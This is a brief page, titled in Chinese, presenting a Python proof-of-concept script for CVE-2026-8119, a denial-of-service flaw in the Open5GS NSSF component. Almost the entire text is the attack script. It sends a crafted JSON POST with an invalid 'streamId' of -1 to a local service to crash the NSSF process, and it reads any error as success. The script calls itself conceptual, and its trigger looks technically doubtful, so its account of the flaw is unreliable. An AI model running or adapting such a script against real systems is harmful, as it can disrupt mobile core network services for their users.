CVE-2026-8119 Open5GS拒绝服务漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-8119 Vulnerability: Denial of Service in Open5GS NSSF component Vector: Local, Low Privilege Note: This is a conceptual PoC demonstrating the trigger mechanism. """ import requests import sys # Target: Local Open5GS NSSF SBI Interface (Default port might be specific) TARGET_URL = "http://127.0.0.1:7777" def send_malicious_request(): print(f"[*] Sending malicious request to {TARGET_URL} to trigger DoS...") try: headers = { "User-Agent": "CVE-2026-8119-PoC", "Content-Type": "application/json" } # Payload designed to trigger invalid stream ID handling # In a real scenario, this targets the ogs_sbi_stream_find_by_id logic payload = { "streamId": -1, # Invalid ID causing the crash "maliciousParam": "trigger_crash" } response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=5) print("[+] Request sent. Check if Open5GS NSSF process crashed.") except Exception as e: print(f"[!] Error occurred: {e}") print("[*] This might indicate the service is already down (DoS successful).") if __name__ == "__main__": print("[*] CVE-2026-8119 PoC Execution") send_malicious_request()